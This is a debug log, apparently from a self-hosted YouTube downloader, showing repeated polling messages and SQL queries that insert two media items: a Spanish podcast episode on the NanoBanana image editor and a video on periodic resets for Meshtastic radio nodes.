[debug] Current batch of media processed. Will check again in 1000ms 22:11:04.652 [debug] Current batch of media processed. Will check again in 1000ms 22:11:04.713 [debug] Current batch of media processed. Will check again in 1000ms 22:11:05.653 [debug] Current batch of media processed. Will check again in 1000ms 22:11:05.714 [debug] Current batch of media processed. Will check again in 1000ms 22:11:06.654 [debug] Current batch of media processed. Will check again in 1000ms 22:11:06.715 [debug] Current batch of media processed. Will check again in 1000ms 22:11:07.655 [debug] Current batch of media processed. Will check again in 1000ms 22:11:07.716 [debug] Current batch of media processed. Will check again in 1000ms 22:11:08.656 [debug] Current batch of media processed. Will check again in 1000ms 22:11:08.717 [debug] Current batch of media processed. Will check again in 1000ms 22:11:09.657 [debug] Current batch of media processed. Will check again in 1000ms 22:11:09.718 [debug] Current batch of media processed. Will check again in 1000ms 22:11:10.658 [debug] Current batch of media processed. Will check again in 1000ms 22:11:10.719 [debug] Current batch of media processed. Will check again in 1000ms 22:11:11.659 [debug] Current batch of media processed. Will check again in 1000ms 22:11:11.720 [debug] Current batch of media processed. Will check again in 1000ms 22:11:12.660 [debug] Current batch of media processed. Will check again in 1000ms 22:11:12.721 [debug] Current batch of media processed. Will check again in 1000ms 22:11:13.661 [debug] Current batch of media processed. Will check again in 1000ms 22:11:13.722 [debug] Current batch of media processed. Will check again in 1000ms 22:11:14.662 [debug] Current batch of media processed. Will check again in 1000ms 22:11:14.723 [debug] Current batch of media processed. Will check again in 1000ms 22:11:15.663 [debug] Current batch of media processed. Will check again in 1000ms 22:11:15.725 [debug] Current batch of media processed. Will check again in 1000ms 22:11:16.673 [debug] Current batch of media processed. Will check again in 1000ms 22:11:16.725 [debug] Current batch of media processed. Will check again in 1000ms 22:11:17.673 [debug] Current batch of media processed. Will check again in 1000ms 22:11:17.726 [debug] Current batch of media processed. Will check again in 1000ms 22:11:18.674 [debug] Current batch of media processed. Will check again in 1000ms 22:11:18.727 [debug] Current batch of media processed. Will check again in 1000ms 22:11:19.675 [debug] Current batch of media processed. Will check again in 1000ms 22:11:19.728 [debug] Current batch of media processed. Will check again in 1000ms 22:11:20.676 [debug] Current batch of media processed. Will check again in 1000ms 22:11:20.729 [debug] Current batch of media processed. Will check again in 1000ms 22:11:21.139 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:21.677 [debug] Current batch of media processed. Will check again in 1000ms 22:11:21.730 [debug] Current batch of media processed. Will check again in 1000ms 22:11:22.678 [debug] Current batch of media processed. Will check again in 1000ms 22:11:22.731 [debug] Current batch of media processed. Will check again in 1000ms 22:11:23.679 [debug] Current batch of media processed. Will check again in 1000ms 22:11:23.732 [debug] Current batch of media processed. Will check again in 1000ms 22:11:24.680 [debug] Current batch of media processed. Will check again in 1000ms 22:11:24.733 [debug] Current batch of media processed. Will check again in 1000ms 22:11:25.681 [debug] Current batch of media processed. Will check again in 1000ms 22:11:25.734 [debug] Current batch of media processed. Will check again in 1000ms 22:11:26.682 [debug] Current batch of media processed. Will check again in 1000ms 22:11:26.735 [debug] Current batch of media processed. Will check again in 1000ms 22:11:27.683 [debug] Current batch of media processed. Will check again in 1000ms 22:11:27.736 [debug] Current batch of media processed. Will check again in 1000ms 22:11:28.684 [debug] Current batch of media processed. Will check again in 1000ms 22:11:28.737 [debug] Current batch of media processed. Will check again in 1000ms 22:11:29.685 [debug] Current batch of media processed. Will check again in 1000ms 22:11:29.738 [debug] Current batch of media processed. Will check again in 1000ms 22:11:30.686 [debug] Current batch of media processed. Will check again in 1000ms 22:11:30.739 [debug] Current batch of media processed. Will check again in 1000ms 22:11:31.687 [debug] Current batch of media processed. Will check again in 1000ms 22:11:31.740 [debug] Current batch of media processed. Will check again in 1000ms 22:11:32.688 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "👉🏼 Ep3️⃣0️⃣.: Vuelta al Cole3️⃣ . NanoBanana en los trabajos del cole📚\n\nOstras ya hemos llegado al capitulo 30!!!! David García Martínez Increible!!!\n\nY encima llegamos con un capitulo divertido, el de nanobanana... un editor de imagenes de la leche!!! el que siempre habiamos soñado los que no sabiamos pintar y menos aun utilizar adobephotoshop. \n\nEn el capitulo de hoy te contamos unos cuantos usos tremendamente faciles para hacer tus trabajos de clase super guay, personalizados, diferentes, y divertidos o serios, eso lo decides tu.\n\nBueno esperamos que os guste y que nos compartais alguna de vuestras creaciones en los comentarios.\n\n👉🏼 …. y por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ModoEstudio hashtag#nanobanana hashtag#kimiAI hashtag#napkinAI hashtag#GammaAI hashtag#IAGen hashtag#GenAI \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 878, "filename" => "/downloads/music/IA mí QUÉ/EP.30: Nanobanana en BackToSchool.m4a", "id" => "somq_Rf9fAw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=somq_Rf9fAw", "playlist_index" => 20, "timestamp" => 1759326113, "title" => "EP.30: Nanobanana en BackToSchool", "upload_date" => "20251001"} 22:11:32.689 [debug] QUERY OK source="sources" db=0.5ms idle=1934.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:11:32.690 [debug] QUERY OK source="sources" db=0.4ms idle=950.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:11:32.691 [debug] QUERY OK source="media_items" db=0.7ms idle=935.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-01 13:41:53Z], 2] 22:11:32.694 [debug] QUERY OK source="media_items" db=2.9ms idle=936.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👉🏼 Ep3️⃣0️⃣.: Vuelta al Cole3️⃣ . NanoBanana en los trabajos del cole📚\n\nOstras ya hemos llegado al capitulo 30!!!! David García Martínez Increible!!!\n\nY encima llegamos con un capitulo divertido, el de nanobanana... un editor de imagenes de la leche!!! el que siempre habiamos soñado los que no sabiamos pintar y menos aun utilizar adobephotoshop. \n\nEn el capitulo de hoy te contamos unos cuantos usos tremendamente faciles para hacer tus trabajos de clase super guay, personalizados, diferentes, y divertidos o serios, eso lo decides tu.\n\nBueno esperamos que os guste y que nos compartais alguna de vuestras creaciones en los comentarios.\n\n👉🏼 …. y por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ModoEstudio hashtag#nanobanana hashtag#kimiAI hashtag#napkinAI hashtag#GammaAI hashtag#IAGen hashtag#GenAI \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.30: Nanobanana en BackToSchool", "e6983565-d4d2-4f47-9a0c-bae9a7dc3a7c", 878, false, "somq_Rf9fAw", "https://www.youtube.com/watch?v=somq_Rf9fAw", 20, "/downloads/music/IA mí QUÉ/EP.30: Nanobanana en BackToSchool.m4a", false, false, false, 2, [], 98, ~U[2025-10-01 13:41:53Z], ~U[2026-02-07 21:11:32Z], ~U[2026-02-07 21:11:32Z], "👉🏼 Ep3️⃣0️⃣.: Vuelta al Cole3️⃣ . NanoBanana en los trabajos del cole📚\n\nOstras ya hemos llegado al capitulo 30!!!! David García Martínez Increible!!!\n\nY encima llegamos con un capitulo divertido, el de nanobanana... un editor de imagenes de la leche!!! el que siempre habiamos soñado los que no sabiamos pintar y menos aun utilizar adobephotoshop. \n\nEn el capitulo de hoy te contamos unos cuantos usos tremendamente faciles para hacer tus trabajos de clase super guay, personalizados, diferentes, y divertidos o serios, eso lo decides tu.\n\nBueno esperamos que os guste y que nos compartais alguna de vuestras creaciones en los comentarios.\n\n👉🏼 …. y por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ModoEstudio hashtag#nanobanana hashtag#kimiAI hashtag#napkinAI hashtag#GammaAI hashtag#IAGen hashtag#GenAI \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.30: Nanobanana en BackToSchool", 878, false, "somq_Rf9fAw", "https://www.youtube.com/watch?v=somq_Rf9fAw", "/downloads/music/IA mí QUÉ/EP.30: Nanobanana en BackToSchool.m4a", false, 2, ~U[2025-10-01 13:41:53Z]] 22:11:32.695 [debug] QUERY OK source="sources" db=0.4ms idle=940.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:11:32.696 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:32.697 [debug] QUERY OK source="media_items" db=0.5ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1272] 22:11:32.697 [debug] Current batch of media processed. Will check again in 1000ms 22:11:32.741 [debug] Current batch of media processed. Will check again in 1000ms 22:11:33.698 [debug] Current batch of media processed. Will check again in 1000ms 22:11:33.744 [debug] Current batch of media processed. Will check again in 1000ms 22:11:34.698 [debug] Current batch of media processed. Will check again in 1000ms 22:11:34.744 [debug] Current batch of media processed. Will check again in 1000ms 22:11:35.699 [debug] Current batch of media processed. Will check again in 1000ms 22:11:35.745 [debug] Current batch of media processed. Will check again in 1000ms 22:11:36.701 [debug] Current batch of media processed. Will check again in 1000ms 22:11:36.746 [debug] Current batch of media processed. Will check again in 1000ms 22:11:37.701 [debug] Current batch of media processed. Will check again in 1000ms 22:11:37.747 [debug] Current batch of media processed. Will check again in 1000ms 22:11:38.702 [debug] Current batch of media processed. Will check again in 1000ms 22:11:38.748 [debug] Current batch of media processed. Will check again in 1000ms 22:11:39.703 [debug] Current batch of media processed. Will check again in 1000ms 22:11:39.749 [debug] Current batch of media processed. Will check again in 1000ms 22:11:40.704 [debug] Current batch of media processed. Will check again in 1000ms 22:11:40.750 [debug] Current batch of media processed. Will check again in 1000ms 22:11:41.705 [debug] Current batch of media processed. Will check again in 1000ms 22:11:41.751 [debug] Current batch of media processed. Will check again in 1000ms 22:11:42.706 [debug] Current batch of media processed. Will check again in 1000ms 22:11:42.752 [debug] Current batch of media processed. Will check again in 1000ms 22:11:43.707 [debug] Current batch of media processed. Will check again in 1000ms 22:11:43.753 [debug] Current batch of media processed. Will check again in 1000ms 22:11:44.708 [debug] Current batch of media processed. Will check again in 1000ms 22:11:44.754 [debug] Current batch of media processed. Will check again in 1000ms 22:11:45.709 [debug] Current batch of media processed. Will check again in 1000ms 22:11:45.755 [debug] Current batch of media processed. Will check again in 1000ms 22:11:46.710 [debug] Current batch of media processed. Will check again in 1000ms 22:11:46.756 [debug] Current batch of media processed. Will check again in 1000ms 22:11:47.711 [debug] Current batch of media processed. Will check again in 1000ms 22:11:47.757 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Como hacer un reset periodico usando un ATMEGA328 para los nodos Meshtastic y evitar que se quede alguno frito en sitios remotos.\n\nEsquema montaje:\n\nhttps://nerdytechy.com/wp-content/uploads/2021/01/atmega328p-powerup-1400x1023.png\n\nLibreria LowPower:\n\nhttps://github.com/rocketscream/Low-Power/releases/tag/V1.81\n\nEnlace de compra (hay muchos mas) para el kit de procesador y cristal de cuarzo:\n\nhttps://es.aliexpress.com/item/1741160866.html\n\n#meshtastic #arduino #watchdog #nodos #hamradio #diyelectronics #radioaficionados #preparacionismo\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 856, "filename" => "/downloads/music/ea3grn/160 - RESET PERIODICO PARA NODOS MESHTASTIC.m4a", "id" => "OZWamcS7iW0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=OZWamcS7iW0", "playlist_index" => 21, "timestamp" => 1748110225, "title" => "160 - RESET PERIODICO PARA NODOS MESHTASTIC", "upload_date" => "20250524"} 22:11:47.758 [debug] QUERY OK source="sources" db=0.7ms idle=987.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:11:47.760 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:11:47.761 [debug] QUERY OK source="media_items" db=0.8ms idle=5.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-24 18:10:25Z], 3] 22:11:47.763 [debug] QUERY OK source="media_items" db=1.2ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Como hacer un reset periodico usando un ATMEGA328 para los nodos Meshtastic y evitar que se quede alguno frito en sitios remotos.\n\nEsquema montaje:\n\nhttps://nerdytechy.com/wp-content/uploads/2021/01/atmega328p-powerup-1400x1023.png\n\nLibreria LowPower:\n\nhttps://github.com/rocketscream/Low-Power/releases/tag/V1.81\n\nEnlace de compra (hay muchos mas) para el kit de procesador y cristal de cuarzo:\n\nhttps://es.aliexpress.com/item/1741160866.html\n\n#meshtastic #arduino #watchdog #nodos #hamradio #diyelectronics #radioaficionados #preparacionismo\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "160 - RESET PERIODICO PARA NODOS MESHTASTIC", "3d1ffa7b-4bcd-4b6b-a86b-facc5ff156aa", 856, false, "OZWamcS7iW0", "https://www.youtube.com/watch?v=OZWamcS7iW0", 21, "/downloads/music/ea3grn/160 - RESET PERIODICO PARA NODOS MESHTASTIC.m4a", false, false, false, 3, [], 98, ~U[2025-05-24 18:10:25Z], ~U[2026-02-07 21:11:47Z], ~U[2026-02-07 21:11:47Z], "Como hacer un reset periodico usando un ATMEGA328 para los nodos Meshtastic y evitar que se quede alguno frito en sitios remotos.\n\nEsquema montaje:\n\nhttps://nerdytechy.com/wp-content/uploads/2021/01/atmega328p-powerup-1400x1023.png\n\nLibreria LowPower:\n\nhttps://github.com/rocketscream/Low-Power/releases/tag/V1.81\n\nEnlace de compra (hay muchos mas) para el kit de procesador y cristal de cuarzo:\n\nhttps://es.aliexpress.com/item/1741160866.html\n\n#meshtastic #arduino #watchdog #nodos #hamradio #diyelectronics #radioaficionados #preparacionismo\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "160 - RESET PERIODICO PARA NODOS MESHTASTIC", 856, false, "OZWamcS7iW0", "https://www.youtube.com/watch?v=OZWamcS7iW0", "/downloads/music/ea3grn/160 - RESET PERIODICO PARA NODOS MESHTASTIC.m4a", false, 3, ~U[2025-05-24 18:10:25Z]] 22:11:47.764 [debug] QUERY OK source="sources" db=0.5ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:11:47.765 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:47.765 [debug] QUERY OK source="media_items" db=0.5ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1328] 22:11:47.766 [debug] Current batch of media processed. Will check again in 1000ms 22:11:48.713 [debug] Current batch of media processed. Will check again in 1000ms 22:11:48.766 [debug] Current batch of media processed. Will check again in 1000ms 22:11:49.713 [debug] Current batch of media processed. Will check again in 1000ms 22:11:49.767 [debug] Current batch of media processed. Will check again in 1000ms 22:11:50.714 [debug] Current batch of media processed. Will check again in 1000ms 22:11:50.768 [debug] Current batch of media processed. Will check again in 1000ms 22:11:51.140 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:51.715 [debug] Current batch of media processed. Will check again in 1000ms 22:11:51.769 [debug] Current batch of media processed. Will check again in 1000ms 22:11:52.716 [debug] Current batch of media processed. Will check again in 1000ms 22:11:52.770 [debug] Current batch of media processed. Will check again in 1000ms 22:11:53.717 [debug] Current batch of media processed. Will check again in 1000ms 22:11:53.771 [debug] Current batch of media processed. Will check again in 1000ms 22:11:54.718 [debug] Current batch of media processed. Will check again in 1000ms 22:11:54.772 [debug] Current batch of media processed. Will check again in 1000ms 22:11:55.719 [debug] Current batch of media processed. Will check again in 1000ms 22:11:55.773 [debug] Current batch of media processed. Will check again in 1000ms 22:11:56.720 [debug] Current batch of media processed. Will check again in 1000ms 22:11:56.774 [debug] Current batch of media processed. Will check again in 1000ms 22:11:57.721 [debug] Current batch of media processed. Will check again in 1000ms 22:11:57.775 [debug] Current batch of media processed. Will check again in 1000ms 22:11:58.722 [debug] Current batch of media processed. Will check again in 1000ms 22:11:58.776 [debug] Current batch of media processed. Will check again in 1000ms 22:11:59.723 [debug] Current batch of media processed. Will check again in 1000ms 22:11:59.777 [debug] Current batch of media processed. Will check again in 1000ms 22:12:00.088 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:12:00.724 [debug] Current batch of media processed. Will check again in 1000ms 22:12:00.778 [debug] Current batch of media processed. Will check again in 1000ms 22:12:01.725 [debug] Current batch of media processed. Will check again in 1000ms 22:12:01.779 [debug] Current batch of media processed. Will check again in 1000ms 22:12:02.726 [debug] Current batch of media processed. Will check again in 1000ms 22:12:02.780 [debug] Current batch of media processed. Will check again in 1000ms 22:12:03.727 [debug] Current batch of media processed. Will check again in 1000ms 22:12:03.781 [debug] Current batch of media processed. Will check again in 1000ms 22:12:04.728 [debug] Current batch of media processed. Will check again in 1000ms 22:12:04.782 [debug] Current batch of media processed. Will check again in 1000ms 22:12:05.729 [debug] Current batch of media processed. Will check again in 1000ms 22:12:05.783 [debug] Current batch of media processed. Will check again in 1000ms 22:12:06.730 [debug] Current batch of media processed. Will check again in 1000ms 22:12:06.784 [debug] Current batch of media processed. Will check again in 1000ms 22:12:07.731 [debug] Current batch of media processed. Will check again in 1000ms 22:12:07.785 [debug] Current batch of media processed. Will check again in 1000ms 22:12:08.732 [debug] Current batch of media processed. Will check again in 1000ms 22:12:08.786 [debug] Current batch of media processed. Will check again in 1000ms 22:12:09.733 [debug] Current batch of media processed. Will check again in 1000ms 22:12:09.787 [debug] Current batch of media processed. Will check again in 1000ms 22:12:10.734 [debug] Current batch of media processed. Will check again in 1000ms 22:12:10.788 [debug] Current batch of media processed. Will check again in 1000ms 22:12:11.735 [debug] Current batch of media processed. Will check again in 1000ms 22:12:11.789 [debug] Current batch of media processed. Will check again in 1000ms 22:12:12.736 [debug] Current batch of media processed. Will check again in 1000ms 22:12:12.790 [debug] Current batch of media processed. Will check again in 1000ms 22:12:13.737 [debug] Current batch of media processed. Will check again in 1000ms 22:12:13.791 [debug] Current batch of media processed. Will check again in 1000ms 22:12:14.738 [debug] Current batch of media processed. Will check again in 1000ms 22:12:14.792 [debug] Current batch of media processed. Will check again in 1000ms 22:12:15.742 [debug] Current batch of media processed. Will check again in 1000ms 22:12:15.793 [debug] Current batch of media processed. Will check again in 1000ms 22:12:16.743 [debug] Current batch of media processed. Will check again in 1000ms 22:12:16.794 [debug] Current batch of media processed. Will check again in 1000ms 22:12:17.744 [debug] Current batch of media processed. Will check again in 1000ms 22:12:17.795 [debug] Current batch of media processed. Will check again in 1000ms 22:12:18.745 [debug] Current batch of media processed. Will check again in 1000ms 22:12:18.796 [debug] Current batch of media processed. Will check again in 1000ms 22:12:19.746 [debug] Current batch of media processed. Will check again in 1000ms 22:12:19.797 [debug] Current batch of media processed. Will check again in 1000ms 22:12:20.747 [debug] Current batch of media processed. Will check again in 1000ms 22:12:20.798 [debug] Current batch of media processed. Will check again in 1000ms 22:12:21.143 [info] {"source":"oban","duration":1727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:21.748 [debug] Current batch of media processed. Will check again in 1000ms 22:12:21.799 [debug] Current batch of media processed. Will check again in 1000ms 22:12:22.749 [debug] Current batch of media processed. Will check again in 1000ms 22:12:22.800 [debug] Current batch of media processed. Will check again in 1000ms 22:12:23.750 [debug] Current batch of media processed. Will check again in 1000ms 22:12:23.801 [debug] Current batch of media processed. Will check again in 1000ms 22:12:24.751 [debug] Current batch of media processed. Will check again in 1000ms 22:12:24.802 [debug] Current batch of media processed. Will check again in 1000ms 22:12:25.752 [debug] Current batch of media processed. Will check again in 1000ms 22:12:25.803 [debug] Current batch of media processed. Will check again in 1000ms 22:12:26.753 [debug] Current batch of media processed. Will check again in 1000ms 22:12:26.804 [debug] Current batch of media processed. Will check again in 1000ms 22:12:27.754 [debug] Current batch of media processed. Will check again in 1000ms 22:12:27.805 [debug] Current batch of media processed. Will check again in 1000ms 22:12:28.755 [debug] Current batch of media processed. Will check again in 1000ms 22:12:28.806 [debug] Current batch of media processed. Will check again in 1000ms 22:12:29.756 [debug] Current batch of media processed. Will check again in 1000ms 